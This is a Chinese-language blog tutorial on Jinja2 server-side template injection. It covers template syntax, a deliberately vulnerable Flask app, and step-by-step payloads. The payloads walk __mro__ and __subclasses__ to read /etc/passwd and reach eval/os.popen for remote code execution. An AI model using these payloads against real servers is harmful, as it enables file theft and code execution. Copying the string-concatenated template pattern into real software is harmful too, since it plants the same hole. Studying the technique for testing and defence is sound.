SSTI模板注入

SSTI模板注入先入个门 Jimja2Jinja2 是默认的仿 Django 模板的一个模板引擎 由 Flask 的作者开发 网上搜的语法 2333 方便自己回顾模板 装载一个变量 模板渲染的时候 会使用传进来的同名参数这个变量代表的值替换掉 装载一个控制语句 装载一个注释 模板渲染的时候会忽视这中间的值变量在模板中添加变量 可以使用 set 语句

先入个门

个人感觉学SSTI注入之前,最好先学习一下python的沙盒绕过,两个利用的地方比较类似。

Jimja2

Jinja2是默认的仿Django模板的一个模板引擎,由Flask的作者开发。网上搜的语法2333,方便自己回顾

模板
{ 
  { ... }}:装载一个变量,模板渲染的时候,会使用传进来的同名参数这个变量代表的值替换掉。 {% ... %}:装载一个控制语句。 {# ... #}:装载一个注释,模板渲染的时候会忽视这中间的值 
变量

在模板中添加变量,可以使用(set)语句。

{% set name='xx' %} 

with语句来创建一个内部的作用域,将set语句放在其中,这样创建的变量只在with代码块中才有效

{% with gg = 42 %} { 
  { gg }} {% endwith %} 
if语句
{% if ken.sick %} Ken is sick. {% elif ken.dead %} You killed Ken! You bastard!!! {% else %} Kenny looks okay --- so far {% endif %} 
for语句
{% for user in users %} { 
  { user.username|e }} {% endfor %} 
遍历
{% for key, value in my_dict.iteritems() %} 
  
{ { key|e }}
{ { value|e }}
{% endfor %}
Jinja2中for循环内置常量
过滤器

过滤器是通过(|)符号进行使用的,例如:{
{ name|length }}:将返回name的长度

类似于我们平常的的函数,他他这种应该就是内置函数,因为它本身就含有很多过滤器

abs(value):返回一个数值的绝对值。示例:-1|abs last(value):返回一个序列的最后一个元素。示例:names|last。 length(value):返回一个序列或者字典的长度。示例:names|length。 join(value,d=u''):将一个序列用d这个参数的值拼接成字符串。 int(value):将值转换为int类型。 float(value):将值转换为float类型。 lower(value):将字符串转换为小写。 upper(value):将字符串转换为小写 

模板注入

简单地说跟这种类型的注入跟一般的注入成因其实一样,都是过分相信用户的输入导致的漏洞,这样一来通过模板注入可以导致敏感信息泄露、代码执行等诸多漏洞,这里有一篇关于PHP的模板注入,写的挺好,可以参考一下:https://www.freebuf.com/vuls/83999.html,但这篇文章PHP 模版引擎 Twig 作为例子,只是简单介绍了一下XSS的相关漏洞,并没有触发更大的危害,但是常规的测试方法已经写了出来,跟测试注入其实差不多,就是换了内容而已。

ktayNt.png

所以下面就自己搭个python的web环境,以危害更大的SSTI模板注入作为例子说明,这是app.py里面的代码内容

from flask import Flask, request from jinja2 import Template app = Flask(__name__) @app.route("/") def index(): name = request.args.get('name', 'guest') t = Template("Hello " + name) return t.render() if __name__ == "__main__": 

可以看得出来name参数直接以get方式获取,直接拼接在Hello后面作为模板,直接render,这很明显name参数是可控的。问题也恰好是出在这。

当然这里也是有XSS的

ktJXGD.png

但是重点还是放在读文件这一功能上,这也相当于直接RCE了,先要学习一下下面这几个类,__mro__以及__subclasses__属性,其实这里有点像python沙盒绕过的构造方法23333.

__mro__中的MRO(Method Resolution Order)代表着解析方法调用的顺序,可以看看Python文档中的介绍。它是每个对象元类的一个隐藏属性,当进行内省时会忽略dir输出(see Objects/object.c at line 1812)

__subclasses__属性在这里作为一种方法被定义为,对每个new-style class“为它的直接子类维持一个弱引用列表”,之后“返回一个包含所有存活引用的列表”。

上面的这两个属性引用自这篇文章:https://www.freebuf.com/articles/web/98928.html

个人直接理解就是__mro__会输出当前对象所调用的全部类包括其父类,而__subclasses__会输出该类下所有的子类。OK,这样就可以愉快的开始了

先来测试一下是否存在这个漏洞,输入参数{
{5*5}}hello
,明显存在漏洞

ktfbPU.png

首先我们要做的第一件事便是选择一个new-style object用于访问object基类。可以简单的使用'',一个空字符串,str对象类型。之后可以使用__mro__属性访问对象的继承类。将{
{ ''.__class__.__mro__ }}
作为payload注入到存在SSTI漏洞的页面中

ktYYQJ.png

出现两个类,选择第二个object基类,并显示该类下方的所有子类,注入{
{ ''.__class__.__mro__[1].__subclasses__() }}

ktYReI.png

上面链接的文章里面使用file类去进行对文件的读写操作,payload:{
{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
,但是file方法在py3中已经不支持,只要找到可以执行代码的函数或者其他读文件的函数都可以,在vulhub上找到的另外一个适合py3的,利用了eval函数去实现RCE的功能,因为执行语句去实现的,所以得用%括住。方法不止一种,找到对的继承链就可以。

{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} { 
  { b['eval']('__import__("os").popen("id").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %} 

ktNZbn.png

成功读取根目录下的文件

ktNMCT.png

另外再拿

这东西只要找对继承关系,而且继承关系里面的方法清楚的话就很快获得效果,当然防范的话得从代码层下手,永远不要相信用户的输入就对了,对可控变量做好防御XD

参考文章:

https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf

https://www.freebuf.com/vuls/83999.html

https://www.freebuf.com/articles/web/98928.html

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/178040.html原文链接:https://javaforall.net

(0)
上一篇 2026年3月26日 下午6:10
下一篇 2026年3月26日 下午6:10


相关推荐

  • DEADBEEF 是什么

    DEADBEEF 是什么转自 https www cnblogs com lucelujiamin p 9480865 html 我在 uboot 代码里看到 freescale 系列 cpu 总喜欢把 ddr 的值全部初始化为 0xDEADBEEF 直到最近 我看到谷歌面试题里居然也有问这个值的来历 才认真搜了一下 果然有历史渊源啊 nbsp http en wikipedia org wiki Hexspeak

    2026年3月18日
    2
  • 2021.7 goland 激活码[免费获取]

    (2021.7 goland 激活码)2021最新分享一个能用的的激活码出来,希望能帮到需要激活的朋友。目前这个是能用的,但是用的人多了之后也会失效,会不定时更新的,大家持续关注此网站~IntelliJ2021最新激活注册码,破解教程可免费永久激活,亲测有效,下面是详细链接哦~https://javaforall.net/100143.html…

    2022年3月21日
    84
  • log4j2 debug_log4j原理

    log4j2 debug_log4j原理长话短说吧。相信大家已经被Log4j2的重大漏洞刷屏了,估计有不少小伙伴此前为了修bug已经累趴下了。很不幸,我的小老弟小二的SpringBoot项目中恰好用的就是Log4j2,版本特喵的还是2.14.1,在这次漏洞波及的版本范围之内。第一时间从网上得知这个漏洞的消息后,小二吓尿了。赶紧跑过来问老王怎么解决。老王先是给小二提供了一些临时性的建议,比如说:JVM参数添加-Dlog4j2.formatMsgNoLookups=truelog4j2.formatMsgNoLooku

    2025年7月2日
    6
  • 扣子Coze教程:自动化拆解小红书对标账号,输出完整分析报告(附MCP配置)

    扣子Coze教程:自动化拆解小红书对标账号,输出完整分析报告(附MCP配置)

    2026年3月12日
    2
  • 百万级智能体“大练兵”!MiniMax 联手腾讯云:RL 沙箱实现全量平稳运行

    百万级智能体“大练兵”!MiniMax 联手腾讯云:RL 沙箱实现全量平稳运行

    2026年3月19日
    2
  • LaTeX公式自动换行

    LaTeX公式自动换行LaTeX公式自动换行文章目录LaTeX公式自动换行前言一、autobreak宏包二、breqn宏包总结前言在使用amsmath等宏包输入公式的时候,最折腾的就是比较特殊样式的公式和长公式,尤其是长公式在投稿期刊排版的时候经常遇到,有的期刊是双栏的版式,这样公式太大就要面临公式要进行折行的调整,很多时候我们使用align,multiline等环境,现在有个更加灵活的更加自动的宏包来了,可以让长公式自动换行了。一、autobreak宏包\usepackage{amsmath}\usepacka

    2022年6月3日
    208

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号